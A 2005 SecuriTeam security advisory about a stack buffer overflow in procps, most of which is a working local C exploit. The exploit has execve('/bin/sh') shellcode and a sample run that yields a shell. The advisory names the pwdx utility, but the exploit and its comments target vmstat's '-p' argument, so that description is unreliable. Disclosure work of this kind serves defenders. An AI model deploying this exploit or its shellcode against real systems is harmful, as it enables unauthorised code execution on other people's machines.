[EXPL] Procps Buffer Overflow (pwdx, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/22/05

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Date: 22 May 2005 16:51:56 +0200

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      Procps Buffer Overflow (pwdx, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://procps.sourceforge.net/> procps is a package that has a few
    small useful utilities that give information about processes using the
    /proc filesystem. The package includes the programs ps, top, vmstat, w,
    kill, free, slabtop, and skill."

    A buffer overflow vulnerability has been discovered in argument handling
    of pwdx utility supplied with Procps. The following exploit code can be
    used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * pwdx included with Procps versions 3.2.5 and prior

    Exploit:
    /*
    VULNERABLE PROGRAM:
    --=[ procps 3.2.5 vmstat '-p' argument stack overflow
    --=[ http://procps.sourceforge.net/
    --=[ Advisory: http://www.danitrous.org/code/PoCs/vmstat_adv.txt

    EXPLOIT:
    --=[ Local env exploit [no suid] by nitrous <nitrous@danitrous.org>
    --=[ Tested on Ubuntu Linux 2.6.8.1-3-386

    nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o
    vmstat-p0c
    nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
    -=[ Jumping to: 0xbfffffc9

    Partition was not found
    sh-2.05b$ id
    uid=1000(nitrous) gid=1000(nitrous)

    --=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
                   dex, benn, cryogen, JSS... blah blah blah.
    */

    #include<stdio.h>
    #include<string.h>

    #define BUFFER_SIZE 32
    #define VMSTAT_PATH "/usr/bin/vmstat"

    char nitrous_egg[]=
    "\xeb\x14\x5b\x31\xd2\x88\x53\x07"
    "\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
    "\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
    "\xff\xff\xff/bin/sh"; //jmp-call execve()

    int main()
    {
            char *payl0ad= (char *)malloc(BUFFER_SIZE);
            char *envir0n[2]= {nitrous_egg,NULL};

            unsigned long
    retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

     printf("-=[ Jumping to: 0x%x\n\n", retaddr);

            int x;
            for(x=0; x<BUFFER_SIZE; x+=4)
      *(unsigned long *)&payl0ad[x]= retaddr;

     execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);

     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nitrous@danitrous.org> A.
    Alejandro Hern ndez.
    The advisory can be found at:
    <http://www.securiteam.com/unixfocus/5IP0S20FFA.html>
    http://www.securiteam.com/unixfocus/5IP0S20FFA.html

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